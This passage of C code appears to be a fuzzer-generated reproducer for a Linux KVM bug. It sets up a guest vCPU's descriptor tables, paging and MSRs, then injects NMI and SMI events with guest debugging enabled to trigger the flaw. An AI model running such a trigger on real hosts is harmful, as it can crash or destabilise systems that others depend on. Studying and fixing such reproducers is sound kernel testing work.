0xf0000ULL) << 48 | (uint64_t)seg->avl << 52 | (uint64_t)seg->l << 53 | (uint64_t)seg->db << 54 \
| (uint64_t)seg->g << 55 | (seg->base & 0xff000000ULL) << 56; dt[index] = sd;
lt[index] = sd;
}
static void fill_segment_descriptor_dword(uint64_t* dt, uint64_t* lt, struct kvm_segment* seg)
{
fill_segment_descriptor(dt, lt, seg);
uint16_t index = seg->selector >> 3;
dt[index + 1] = 0;
lt[index + 1] = 0;
}
static void setup_syscall_msrs(int cpufd, uint16_t sel_cs, uint16_t sel_cs_cpl3)
{
char buf[sizeof(struct kvm_msrs) + 5 * sizeof(struct kvm_msr_entry)];
memset(buf, 0, sizeof(buf));
struct kvm_msrs* msrs = (struct kvm_msrs*)buf;
struct kvm_msr_entry* entries = msrs->entries;
msrs->nmsrs = 5;
entries[0].index = MSR_IA32_SYSENTER_CS;
entries[0].data = sel_cs;
entries[1].index = MSR_IA32_SYSENTER_ESP;
entries[1].data = ADDR_STACK0;
entries[2].index = MSR_IA32_SYSENTER_EIP;
entries[2].data = ADDR_VAR_SYSEXIT;
entries[3].index = MSR_IA32_STAR;
entries[3].data = ((uint64_t)sel_cs << 32) | ((uint64_t)sel_cs_cpl3 << 48);
entries[4].index = MSR_IA32_LSTAR;
entries[4].data = ADDR_VAR_SYSRET;
ioctl(cpufd, KVM_SET_MSRS, msrs);
}
static void setup_32bit_idt(struct kvm_sregs* sregs, char* host_mem, uintptr_t guest_mem)
{
sregs->idt.base = guest_mem + ADDR_VAR_IDT;
sregs->idt.limit = 0x1ff;
uint64_t* idt = (uint64_t*)(host_mem + sregs->idt.base);
for (int i = 0; i < 32; i++) {
struct kvm_segment gate;
gate.selector = i << 3;
switch (i % 6) {
case 0:
gate.type = 6;
gate.base = SEL_CS16;
break;
case 1:
gate.type = 7;
gate.base = SEL_CS16;
break;
case 2:
gate.type = 3;
gate.base = SEL_TGATE16;
break;
case 3:
gate.type = 14;
gate.base = SEL_CS32;
break;
case 4:
gate.type = 15;
gate.base = SEL_CS32;
break;
case 5:
gate.type = 11;
gate.base = SEL_TGATE32;
break;
}
gate.limit = guest_mem + ADDR_VAR_USER_CODE2;
gate.present = 1;
gate.dpl = 0;
gate.s = 0;
gate.g = 0;
gate.db = 0;
gate.l = 0;
gate.avl = 0;
fill_segment_descriptor(idt, idt, &gate);
}
}
static void setup_64bit_idt(struct kvm_sregs* sregs, char* host_mem, uintptr_t guest_mem)
{
sregs->idt.base = guest_mem + ADDR_VAR_IDT;
sregs->idt.limit = 0x1ff;
uint64_t* idt = (uint64_t*)(host_mem + sregs->idt.base);
for (int i = 0; i < 32; i++) {
struct kvm_segment gate;
gate.selector = (i * 2) << 3;
gate.type = (i & 1) ? 14 : 15;
gate.base = SEL_CS64;
gate.limit = guest_mem + ADDR_VAR_USER_CODE2;
gate.present = 1;
gate.dpl = 0;
gate.s = 0;
gate.g = 0;
gate.db = 0;
gate.l = 0;
gate.avl = 0;
fill_segment_descriptor_dword(idt, idt, &gate);
}
}
struct kvm_text {
uintptr_t typ;
const void* text;
uintptr_t size;
};
struct kvm_opt {
uint64_t typ;
uint64_t val;
};
#define KVM_SETUP_PAGING (1 << 0)
#define KVM_SETUP_PAE (1 << 1)
#define KVM_SETUP_PROTECTED (1 << 2)
#define KVM_SETUP_CPL3 (1 << 3)
#define KVM_SETUP_VIRT86 (1 << 4)
#define KVM_SETUP_SMM (1 << 5)
#define KVM_SETUP_VM (1 << 6)
static volatile long syz_kvm_setup_cpu(volatile long a0, volatile long a1, volatile long a2, \
volatile long a3, volatile long a4, volatile long a5, volatile long a6, volatile long a7) {
const int vmfd = a0;
const int cpufd = a1;
char* const host_mem = (char*)a2;
const struct kvm_text* const text_array_ptr = (struct kvm_text*)a3;
const uintptr_t text_count = a4;
const uintptr_t flags = a5;
const struct kvm_opt* const opt_array_ptr = (struct kvm_opt*)a6;
uintptr_t opt_count = a7;
const uintptr_t page_size = 4 << 10;
const uintptr_t ioapic_page = 10;
const uintptr_t guest_mem_size = 24 * page_size;
const uintptr_t guest_mem = 0;
(void)text_count;
int text_type = text_array_ptr[0].typ;
const void* text = text_array_ptr[0].text;
uintptr_t text_size = text_array_ptr[0].size;
for (uintptr_t i = 0; i < guest_mem_size / page_size; i++) {
struct kvm_userspace_memory_region memreg;
memreg.slot = i;
memreg.flags = 0;
memreg.guest_phys_addr = guest_mem + i * page_size;
if (i == ioapic_page)
memreg.guest_phys_addr = 0xfec00000;
memreg.memory_size = page_size;
memreg.userspace_addr = (uintptr_t)host_mem + i * page_size;
ioctl(vmfd, KVM_SET_USER_MEMORY_REGION, &memreg);
}
struct kvm_userspace_memory_region memreg;
memreg.slot = 1 + (1 << 16);
memreg.flags = 0;
memreg.guest_phys_addr = 0x30000;
memreg.memory_size = 64 << 10;
memreg.userspace_addr = (uintptr_t)host_mem;
ioctl(vmfd, KVM_SET_USER_MEMORY_REGION, &memreg);
struct kvm_sregs sregs;
if (ioctl(cpufd, KVM_GET_SREGS, &sregs))
return -1;
struct kvm_regs regs;
memset(®s, 0, sizeof(regs));
regs.rip = guest_mem + ADDR_TEXT;
regs.rsp = ADDR_STACK0;
sregs.gdt.base = guest_mem + ADDR_GDT;
sregs.gdt.limit = 256 * sizeof(uint64_t) - 1;
uint64_t* gdt = (uint64_t*)(host_mem + sregs.gdt.base);
struct kvm_segment seg_ldt;
seg_ldt.selector = SEL_LDT;
seg_ldt.type = 2;
seg_ldt.base = guest_mem + ADDR_LDT;
seg_ldt.limit = 256 * sizeof(uint64_t) - 1;
seg_ldt.present = 1;
seg_ldt.dpl = 0;
seg_ldt.s = 0;
seg_ldt.g = 0;
seg_ldt.db = 1;
seg_ldt.l = 0;
sregs.ldt = seg_ldt;
uint64_t* ldt = (uint64_t*)(host_mem + sregs.ldt.base);
struct kvm_segment seg_cs16;
seg_cs16.selector = SEL_CS16;
seg_cs16.type = 11;
seg_cs16.base = 0;
seg_cs16.limit = 0xfffff;
seg_cs16.present = 1;
seg_cs16.dpl = 0;
seg_cs16.s = 1;
seg_cs16.g = 0;
seg_cs16.db = 0;
seg_cs16.l = 0;
struct kvm_segment seg_ds16 = seg_cs16;
seg_ds16.selector = SEL_DS16;
seg_ds16.type = 3;
struct kvm_segment seg_cs16_cpl3 = seg_cs16;
seg_cs16_cpl3.selector = SEL_CS16_CPL3;
seg_cs16_cpl3.dpl = 3;
struct kvm_segment seg_ds16_cpl3 = seg_ds16;
seg_ds16_cpl3.selector = SEL_DS16_CPL3;
seg_ds16_cpl3.dpl = 3;
struct kvm_segment seg_cs32 = seg_cs16;
seg_cs32.selector = SEL_CS32;
seg_cs32.db = 1;
struct kvm_segment seg_ds32 = seg_ds16;
seg_ds32.selector = SEL_DS32;
seg_ds32.db = 1;
struct kvm_segment seg_cs32_cpl3 = seg_cs32;
seg_cs32_cpl3.selector = SEL_CS32_CPL3;
seg_cs32_cpl3.dpl = 3;
struct kvm_segment seg_ds32_cpl3 = seg_ds32;
seg_ds32_cpl3.selector = SEL_DS32_CPL3;
seg_ds32_cpl3.dpl = 3;
struct kvm_segment seg_cs64 = seg_cs16;
seg_cs64.selector = SEL_CS64;
seg_cs64.l = 1;
struct kvm_segment seg_ds64 = seg_ds32;
seg_ds64.selector = SEL_DS64;
struct kvm_segment seg_cs64_cpl3 = seg_cs64;
seg_cs64_cpl3.selector = SEL_CS64_CPL3;
seg_cs64_cpl3.dpl = 3;
struct kvm_segment seg_ds64_cpl3 = seg_ds64;
seg_ds64_cpl3.selector = SEL_DS64_CPL3;
seg_ds64_cpl3.dpl = 3;
struct kvm_segment seg_tss32;
seg_tss32.selector = SEL_TSS32;
seg_tss32.type = 9;
seg_tss32.base = ADDR_VAR_TSS32;
seg_tss32.limit = 0x1ff;
seg_tss32.present = 1;
seg_tss32.dpl = 0;
seg_tss32.s = 0;
seg_tss32.g = 0;
seg_tss32.db = 0;
seg_tss32.l = 0;
struct kvm_segment seg_tss32_2 = seg_tss32;
seg_tss32_2.selector = SEL_TSS32_2;
seg_tss32_2.base = ADDR_VAR_TSS32_2;
struct kvm_segment seg_tss32_cpl3 = seg_tss32;
seg_tss32_cpl3.selector = SEL_TSS32_CPL3;
seg_tss32_cpl3.base = ADDR_VAR_TSS32_CPL3;
struct kvm_segment seg_tss32_vm86 = seg_tss32;
seg_tss32_vm86.selector = SEL_TSS32_VM86;
seg_tss32_vm86.base = ADDR_VAR_TSS32_VM86;
struct kvm_segment seg_tss16 = seg_tss32;
seg_tss16.selector = SEL_TSS16;
seg_tss16.base = ADDR_VAR_TSS16;
seg_tss16.limit = 0xff;
seg_tss16.type = 1;
struct kvm_segment seg_tss16_2 = seg_tss16;
seg_tss16_2.selector = SEL_TSS16_2;
seg_tss16_2.base = ADDR_VAR_TSS16_2;
seg_tss16_2.dpl = 0;
struct kvm_segment seg_tss16_cpl3 = seg_tss16;
seg_tss16_cpl3.selector = SEL_TSS16_CPL3;
seg_tss16_cpl3.base = ADDR_VAR_TSS16_CPL3;
seg_tss16_cpl3.dpl = 3;
struct kvm_segment seg_tss64 = seg_tss32;
seg_tss64.selector = SEL_TSS64;
seg_tss64.base = ADDR_VAR_TSS64;
seg_tss64.limit = 0x1ff;
struct kvm_segment seg_tss64_cpl3 = seg_tss64;
seg_tss64_cpl3.selector = SEL_TSS64_CPL3;
seg_tss64_cpl3.base = ADDR_VAR_TSS64_CPL3;
seg_tss64_cpl3.dpl = 3;
struct kvm_segment seg_cgate16;
seg_cgate16.selector = SEL_CGATE16;
seg_cgate16.type = 4;
seg_cgate16.base = SEL_CS16 | (2 << 16);
seg_cgate16.limit = ADDR_VAR_USER_CODE2;
seg_cgate16.present = 1;
seg_cgate16.dpl = 0;
seg_cgate16.s = 0;
seg_cgate16.g = 0;
seg_cgate16.db = 0;
seg_cgate16.l = 0;
seg_cgate16.avl = 0;
struct kvm_segment seg_tgate16 = seg_cgate16;
seg_tgate16.selector = SEL_TGATE16;
seg_tgate16.type = 3;
seg_cgate16.base = SEL_TSS16_2;
seg_tgate16.limit = 0;
struct kvm_segment seg_cgate32 = seg_cgate16;
seg_cgate32.selector = SEL_CGATE32;
seg_cgate32.type = 12;
seg_cgate32.base = SEL_CS32 | (2 << 16);
struct kvm_segment seg_tgate32 = seg_cgate32;
seg_tgate32.selector = SEL_TGATE32;
seg_tgate32.type = 11;
seg_tgate32.base = SEL_TSS32_2;
seg_tgate32.limit = 0;
struct kvm_segment seg_cgate64 = seg_cgate16;
seg_cgate64.selector = SEL_CGATE64;
seg_cgate64.type = 12;
seg_cgate64.base = SEL_CS64;
int kvmfd = open("/dev/kvm", O_RDWR);
char buf[sizeof(struct kvm_cpuid2) + 128 * sizeof(struct kvm_cpuid_entry2)];
memset(buf, 0, sizeof(buf));
struct kvm_cpuid2* cpuid = (struct kvm_cpuid2*)buf;
cpuid->nent = 128;
ioctl(kvmfd, KVM_GET_SUPPORTED_CPUID, cpuid);
ioctl(cpufd, KVM_SET_CPUID2, cpuid);
close(kvmfd);
const char* text_prefix = 0;
int text_prefix_size = 0;
char* host_text = host_mem + ADDR_TEXT;
if (text_type == 8) {
if (flags & KVM_SETUP_SMM) {
if (flags & KVM_SETUP_PROTECTED) {
sregs.cs = seg_cs16;
sregs.ds = sregs.es = sregs.fs = sregs.gs = sregs.ss = seg_ds16;
sregs.cr0 |= CR0_PE;
} else {
sregs.cs.selector = 0;
sregs.cs.base = 0;
}
*(host_mem + ADDR_TEXT) = 0xf4;
host_text = host_mem + 0x8000;
ioctl(cpufd, KVM_SMI, 0);
} else if (flags & KVM_SETUP_VIRT86) {
sregs.cs = seg_cs32;
sregs.ds = sregs.es = sregs.fs = sregs.gs = sregs.ss = seg_ds32;
sregs.cr0 |= CR0_PE;
sregs.efer |= EFER_SCE;
setup_syscall_msrs(cpufd, SEL_CS32, SEL_CS32_CPL3);
setup_32bit_idt(&sregs, host_mem, guest_mem);
if (flags & KVM_SETUP_PAGING) {
uint64_t pd_addr = guest_mem + ADDR_PD;
uint64_t* pd = (uint64_t*)(host_mem + ADDR_PD);
pd[0] = PDE32_PRESENT | PDE32_RW | PDE32_USER | PDE32_PS;
sregs.cr3 = pd_addr;
sregs.cr4 |= CR4_PSE;
text_prefix = kvm_asm32_paged_vm86;
text_prefix_size = sizeof(kvm_asm32_paged_vm86) - 1;
} else {
text_prefix = kvm_asm32_vm86;
text_prefix_size = sizeof(kvm_asm32_vm86) - 1;
}
} else {
sregs.cs.selector = 0;
sregs.cs.base = 0;
}
} else if (text_type == 16) {
if (flags & KVM_SETUP_CPL3) {
sregs.cs = seg_cs16;
sregs.ds = sregs.es = sregs.fs = sregs.gs = sregs.ss = seg_ds16;
text_prefix = kvm_asm16_cpl3;
text_prefix_size = sizeof(kvm_asm16_cpl3) - 1;
} else {
sregs.cr0 |= CR0_PE;
sregs.cs = seg_cs16;
sregs.ds = sregs.es = sregs.fs = sregs.gs = sregs.ss = seg_ds16;
}
} else if (text_type == 32) {
sregs.cr0 |= CR0_PE;
sregs.efer |= EFER_SCE;
setup_syscall_msrs(cpufd, SEL_CS32, SEL_CS32_CPL3);
setup_32bit_idt(&sregs, host_mem, guest_mem);
if (flags & KVM_SETUP_SMM) {
sregs.cs = seg_cs32;
sregs.ds = sregs.es = sregs.fs = sregs.gs = sregs.ss = seg_ds32;
*(host_mem + ADDR_TEXT) = 0xf4;
host_text = host_mem + 0x8000;
ioctl(cpufd, KVM_SMI, 0);
} else if (flags & KVM_SETUP_PAGING) {
sregs.cs = seg_cs32;
sregs.ds = sregs.es = sregs.fs = sregs.gs = sregs.ss = seg_ds32;
uint64_t pd_addr = guest_mem + ADDR_PD;
uint64_t* pd = (uint64_t*)(host_mem + ADDR_PD);
pd[0] = PDE32_PRESENT | PDE32_RW | PDE32_USER | PDE32_PS;
sregs.cr3 = pd_addr;
sregs.cr4 |= CR4_PSE;
text_prefix = kvm_asm32_paged;
text_prefix_size = sizeof(kvm_asm32_paged) - 1;
} else if (flags & KVM_SETUP_CPL3) {
sregs.cs = seg_cs32_cpl3;
sregs.ds = sregs.es = sregs.fs = sregs.gs = sregs.ss = seg_ds32_cpl3;
} else {
sregs.cs = seg_cs32;
sregs.ds = sregs.es = sregs.fs = sregs.gs = sregs.ss = seg_ds32;
}
} else {
sregs.efer |= EFER_LME | EFER_SCE;
sregs.cr0 |= CR0_PE;
setup_syscall_msrs(cpufd, SEL_CS64, SEL_CS64_CPL3);
setup_64bit_idt(&sregs, host_mem, guest_mem);
sregs.cs = seg_cs32;
sregs.ds = sregs.es = sregs.fs = sregs.gs = sregs.ss = seg_ds32;
uint64_t pml4_addr = guest_mem + ADDR_PML4;
uint64_t* pml4 = (uint64_t*)(host_mem + ADDR_PML4);
uint64_t pdpt_addr = guest_mem + ADDR_PDP;
uint64_t* pdpt = (uint64_t*)(host_mem + ADDR_PDP);
uint64_t pd_addr = guest_mem + ADDR_PD;
uint64_t* pd = (uint64_t*)(host_mem + ADDR_PD);
pml4[0] = PDE64_PRESENT | PDE64_RW | PDE64_USER | pdpt_addr;
pdpt[0] = PDE64_PRESENT | PDE64_RW | PDE64_USER | pd_addr;
pd[0] = PDE64_PRESENT | PDE64_RW | PDE64_USER | PDE64_PS;
sregs.cr3 = pml4_addr;
sregs.cr4 |= CR4_PAE;
if (flags & KVM_SETUP_VM) {
sregs.cr0 |= CR0_NE;
*((uint64_t*)(host_mem + ADDR_VAR_VMXON_PTR)) = ADDR_VAR_VMXON;
*((uint64_t*)(host_mem + ADDR_VAR_VMCS_PTR)) = ADDR_VAR_VMCS;
memcpy(host_mem + ADDR_VAR_VMEXIT_CODE, kvm_asm64_vm_exit, sizeof(kvm_asm64_vm_exit) - 1);
*((uint64_t*)(host_mem + ADDR_VAR_VMEXIT_PTR)) = ADDR_VAR_VMEXIT_CODE;
text_prefix = kvm_asm64_init_vm;
text_prefix_size = sizeof(kvm_asm64_init_vm) - 1;
} else if (flags & KVM_SETUP_CPL3) {
text_prefix = kvm_asm64_cpl3;
text_prefix_size = sizeof(kvm_asm64_cpl3) - 1;
} else {
text_prefix = kvm_asm64_enable_long;
text_prefix_size = sizeof(kvm_asm64_enable_long) - 1;
}
}
struct tss16 tss16;
memset(&tss16, 0, sizeof(tss16));
tss16.ss0 = tss16.ss1 = tss16.ss2 = SEL_DS16;
tss16.sp0 = tss16.sp1 = tss16.sp2 = ADDR_STACK0;
tss16.ip = ADDR_VAR_USER_CODE2;
tss16.flags = (1 << 1);
tss16.cs = SEL_CS16;
tss16.es = tss16.ds = tss16.ss = SEL_DS16;
tss16.ldt = SEL_LDT;
struct tss16* tss16_addr = (struct tss16*)(host_mem + seg_tss16_2.base);
memcpy(tss16_addr, &tss16, sizeof(tss16));
memset(&tss16, 0, sizeof(tss16));
tss16.ss0 = tss16.ss1 = tss16.ss2 = SEL_DS16;
tss16.sp0 = tss16.sp1 = tss16.sp2 = ADDR_STACK0;
tss16.ip = ADDR_VAR_USER_CODE2;
tss16.flags = (1 << 1);
tss16.cs = SEL_CS16_CPL3;
tss16.es = tss16.ds = tss16.ss = SEL_DS16_CPL3;
tss16.ldt = SEL_LDT;
struct tss16* tss16_cpl3_addr = (struct tss16*)(host_mem + seg_tss16_cpl3.base);
memcpy(tss16_cpl3_addr, &tss16, sizeof(tss16));
struct tss32 tss32;
memset(&tss32, 0, sizeof(tss32));
tss32.ss0 = tss32.ss1 = tss32.ss2 = SEL_DS32;
tss32.sp0 = tss32.sp1 = tss32.sp2 = ADDR_STACK0;
tss32.ip = ADDR_VAR_USER_CODE;
tss32.flags = (1 << 1) | (1 << 17);
tss32.ldt = SEL_LDT;
tss32.cr3 = sregs.cr3;
tss32.io_bitmap = offsetof(struct tss32, io_bitmap);
struct tss32* tss32_addr = (struct tss32*)(host_mem + seg_tss32_vm86.base);
memcpy(tss32_addr, &tss32, sizeof(tss32));
memset(&tss32, 0, sizeof(tss32));
tss32.ss0 = tss32.ss1 = tss32.ss2 = SEL_DS32;
tss32.sp0 = tss32.sp1 = tss32.sp2 = ADDR_STACK0;
tss32.ip = ADDR_VAR_USER_CODE;
tss32.flags = (1 << 1);
tss32.cr3 = sregs.cr3;
tss32.es = tss32.ds = tss32.ss = tss32.gs = tss32.fs = SEL_DS32;
tss32.cs = SEL_CS32;
tss32.ldt = SEL_LDT;
tss32.cr3 = sregs.cr3;
tss32.io_bitmap = offsetof(struct tss32, io_bitmap);
struct tss32* tss32_cpl3_addr = (struct tss32*)(host_mem + seg_tss32_2.base);
memcpy(tss32_cpl3_addr, &tss32, sizeof(tss32));
struct tss64 tss64;
memset(&tss64, 0, sizeof(tss64));
tss64.rsp[0] = ADDR_STACK0;
tss64.rsp[1] = ADDR_STACK0;
tss64.rsp[2] = ADDR_STACK0;
tss64.io_bitmap = offsetof(struct tss64, io_bitmap);
struct tss64* tss64_addr = (struct tss64*)(host_mem + seg_tss64.base);
memcpy(tss64_addr, &tss64, sizeof(tss64));
memset(&tss64, 0, sizeof(tss64));
tss64.rsp[0] = ADDR_STACK0;
tss64.rsp[1] = ADDR_STACK0;
tss64.rsp[2] = ADDR_STACK0;
tss64.io_bitmap = offsetof(struct tss64, io_bitmap);
struct tss64* tss64_cpl3_addr = (struct tss64*)(host_mem + seg_tss64_cpl3.base);
memcpy(tss64_cpl3_addr, &tss64, sizeof(tss64));
if (text_size > 1000)
text_size = 1000;
if (text_prefix) {
memcpy(host_text, text_prefix, text_prefix_size);
void* patch = memmem(host_text, text_prefix_size, "\xde\xc0\xad\x0b", 4);
if (patch)
*((uint32_t*)patch) = guest_mem + ADDR_TEXT + ((char*)patch - host_text) + 6;
uint16_t magic = PREFIX_SIZE;
patch = memmem(host_text, text_prefix_size, &magic, sizeof(magic));
if (patch)
*((uint16_t*)patch) = guest_mem + ADDR_TEXT + text_prefix_size;
}
memcpy((void*)(host_text + text_prefix_size), text, text_size);
*(host_text + text_prefix_size + text_size) = 0xf4;
memcpy(host_mem + ADDR_VAR_USER_CODE, text, text_size);
*(host_mem + ADDR_VAR_USER_CODE + text_size) = 0xf4;
*(host_mem + ADDR_VAR_HLT) = 0xf4;
memcpy(host_mem + ADDR_VAR_SYSRET, "\x0f\x07\xf4", 3);
memcpy(host_mem + ADDR_VAR_SYSEXIT, "\x0f\x35\xf4", 3);
*(uint64_t*)(host_mem + ADDR_VAR_VMWRITE_FLD) = 0;
*(uint64_t*)(host_mem + ADDR_VAR_VMWRITE_VAL) = 0;
if (opt_count > 2)
opt_count = 2;
for (uintptr_t i = 0; i < opt_count; i++) {
uint64_t typ = opt_array_ptr[i].typ;
uint64_t val = opt_array_ptr[i].val;
switch (typ % 9) {
case 0:
sregs.cr0 ^= val & (CR0_MP | CR0_EM | CR0_ET | CR0_NE | CR0_WP | CR0_AM | CR0_NW | CR0_CD);
break;
case 1:
sregs.cr4 ^= val & (CR4_VME | CR4_PVI | CR4_TSD | CR4_DE | CR4_MCE | CR4_PGE | CR4_PCE |
CR4_OSFXSR | CR4_OSXMMEXCPT | CR4_UMIP | CR4_VMXE | CR4_SMXE | CR4_FSGSBASE | \
CR4_PCIDE | CR4_OSXSAVE | CR4_SMEP | CR4_SMAP | CR4_PKE);
break;
case 2:
sregs.efer ^= val & (EFER_SCE | EFER_NXE | EFER_SVME | EFER_LMSLE | EFER_FFXSR | EFER_TCE);
break;
case 3:
val &= ((1 << 8) | (1 << 9) | (1 << 10) | (1 << 12) | (1 << 13) | (1 << 14) |
(1 << 15) | (1 << 18) | (1 << 19) | (1 << 20) | (1 << 21));
regs.rflags ^= val;
tss16_addr->flags ^= val;
tss16_cpl3_addr->flags ^= val;
tss32_addr->flags ^= val;
tss32_cpl3_addr->flags ^= val;
break;
case 4:
seg_cs16.type = val & 0xf;
seg_cs32.type = val & 0xf;
seg_cs64.type = val & 0xf;
break;
case 5:
seg_cs16_cpl3.type = val & 0xf;
seg_cs32_cpl3.type = val & 0xf;
seg_cs64_cpl3.type = val & 0xf;
break;
case 6:
seg_ds16.type = val & 0xf;
seg_ds32.type = val & 0xf;
seg_ds64.type = val & 0xf;
break;
case 7:
seg_ds16_cpl3.type = val & 0xf;
seg_ds32_cpl3.type = val & 0xf;
seg_ds64_cpl3.type = val & 0xf;
break;
case 8:
*(uint64_t*)(host_mem + ADDR_VAR_VMWRITE_FLD) = (val & 0xffff);
*(uint64_t*)(host_mem + ADDR_VAR_VMWRITE_VAL) = (val >> 16);
break;
default:
exit(1);
}
}
regs.rflags |= 2;
fill_segment_descriptor(gdt, ldt, &seg_ldt);
fill_segment_descriptor(gdt, ldt, &seg_cs16);
fill_segment_descriptor(gdt, ldt, &seg_ds16);
fill_segment_descriptor(gdt, ldt, &seg_cs16_cpl3);
fill_segment_descriptor(gdt, ldt, &seg_ds16_cpl3);
fill_segment_descriptor(gdt, ldt, &seg_cs32);
fill_segment_descriptor(gdt, ldt, &seg_ds32);
fill_segment_descriptor(gdt, ldt, &seg_cs32_cpl3);
fill_segment_descriptor(gdt, ldt, &seg_ds32_cpl3);
fill_segment_descriptor(gdt, ldt, &seg_cs64);
fill_segment_descriptor(gdt, ldt, &seg_ds64);
fill_segment_descriptor(gdt, ldt, &seg_cs64_cpl3);
fill_segment_descriptor(gdt, ldt, &seg_ds64_cpl3);
fill_segment_descriptor(gdt, ldt, &seg_tss32);
fill_segment_descriptor(gdt, ldt, &seg_tss32_2);
fill_segment_descriptor(gdt, ldt, &seg_tss32_cpl3);
fill_segment_descriptor(gdt, ldt, &seg_tss32_vm86);
fill_segment_descriptor(gdt, ldt, &seg_tss16);
fill_segment_descriptor(gdt, ldt, &seg_tss16_2);
fill_segment_descriptor(gdt, ldt, &seg_tss16_cpl3);
fill_segment_descriptor_dword(gdt, ldt, &seg_tss64);
fill_segment_descriptor_dword(gdt, ldt, &seg_tss64_cpl3);
fill_segment_descriptor(gdt, ldt, &seg_cgate16);
fill_segment_descriptor(gdt, ldt, &seg_tgate16);
fill_segment_descriptor(gdt, ldt, &seg_cgate32);
fill_segment_descriptor(gdt, ldt, &seg_tgate32);
fill_segment_descriptor_dword(gdt, ldt, &seg_cgate64);
if (ioctl(cpufd, KVM_SET_SREGS, &sregs))
return -1;
if (ioctl(cpufd, KVM_SET_REGS, ®s))
return -1;
return 0;
}
uint64_t r[3] = {0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff};
int main(void)
{
syscall(__NR_mmap, 0x1ffff000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
syscall(__NR_mmap, 0x20000000ul, 0x1000000ul, 7ul, 0x32ul, -1, 0ul);
syscall(__NR_mmap, 0x21000000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
intptr_t res = 0;
memcpy((void*)0x20000000, "/dev/kvm\000", 9);
res = syscall(__NR_openat, 0xffffffffffffff9cul, 0x20000000ul, 2ul, 0ul);
if (res != -1)
r[0] = res;
res = syscall(__NR_ioctl, r[0], 0xae01, 0ul);
if (res != -1)
r[1] = res;
res = syscall(__NR_ioctl, r[1], 0xae41, 0ul);
if (res != -1)
r[2] = res;
*(uint64_t*)0x20000180 = 0x40;
*(uint64_t*)0x20000188 = 0x200002c0;
memcpy((void*)0x200002c0, "\x0f\x01\xdf", 3);
*(uint64_t*)0x20000190 = 0x4f;
syz_kvm_setup_cpu(r[1], r[2], 0x20fdf000, 0x20000180, 1, 0x35, 0, 0);
syscall(__NR_ioctl, r[2], 0xae80, 0ul);
*(uint64_t*)0x200001c0 = 0x20;
*(uint64_t*)0x200001c8 = 0;
*(uint64_t*)0x200001d0 = 0;
syz_kvm_setup_cpu(-1, r[2], 0x20fe8000, 0x200001c0, 1, 0x32, 0, 0);
*(uint32_t*)0x20000100 = 0xf0003; // control
*(uint32_t*)0x20000104 = 0;
*(uint64_t*)0x20000108 = 0;
*(uint64_t*)0x20000110 = 0;
*(uint64_t*)0x20000118 = 0;
*(uint64_t*)0x20000120 = 0;
*(uint64_t*)0x20000128 = 0;
*(uint64_t*)0x20000130 = 0;
*(uint64_t*)0x20000138 = 0;
*(uint64_t*)0x20000140 = 1; //set_dr7, enable local BP or gloable BP
syscall(__NR_ioctl, r[2], 0x4048ae9b, 0x20000100ul); //KVM_SET_GUEST_DEBUG
*(uint8_t*)0x20000080 = 0;
*(uint8_t*)0x20000081 = 0;
*(uint8_t*)0x20000082 = 0;
*(uint8_t*)0x20000083 = 0;
*(uint32_t*)0x20000084 = 0;
*(uint8_t*)0x20000088 = 0;
*(uint8_t*)0x20000089 = 0;
*(uint8_t*)0x2000008a = 0;
*(uint8_t*)0x2000008b = 0;
*(uint8_t*)0x2000008c = 1; //nmi.inject
*(uint8_t*)0x2000008d = 0;
*(uint8_t*)0x2000008e = 0;
*(uint8_t*)0x2000008f = 0;
*(uint32_t*)0x20000090 = 0;
*(uint32_t*)0x20000094 = 8; //flag
*(uint8_t*)0x20000098 = 1; //smi.smm
*(uint8_t*)0x20000099 = 0;
*(uint8_t*)0x2000009a = 0;
*(uint8_t*)0x2000009b = 0;
memset((void*)0x2000009c, 0, 27);
*(uint8_t*)0x200000b7 = 0;
*(uint64_t*)0x200000b8 = 0;
syscall(__NR_ioctl, r[2], 0x4040aea0, 0x20000080ul);
getchar();
syscall(__NR_ioctl, r[2], 0xae80, 0ul);
return 0;
}
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